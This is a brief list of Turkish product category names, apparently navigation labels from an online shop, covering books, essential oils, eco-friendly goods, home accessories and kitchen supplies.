KİTAPLAR
UÇUCU YAĞLAR
ÇEVRE DOSTU ÜRÜN
EV AKSESUARLARI
MUTFAK & EV MALZEMELERİ
SATILIK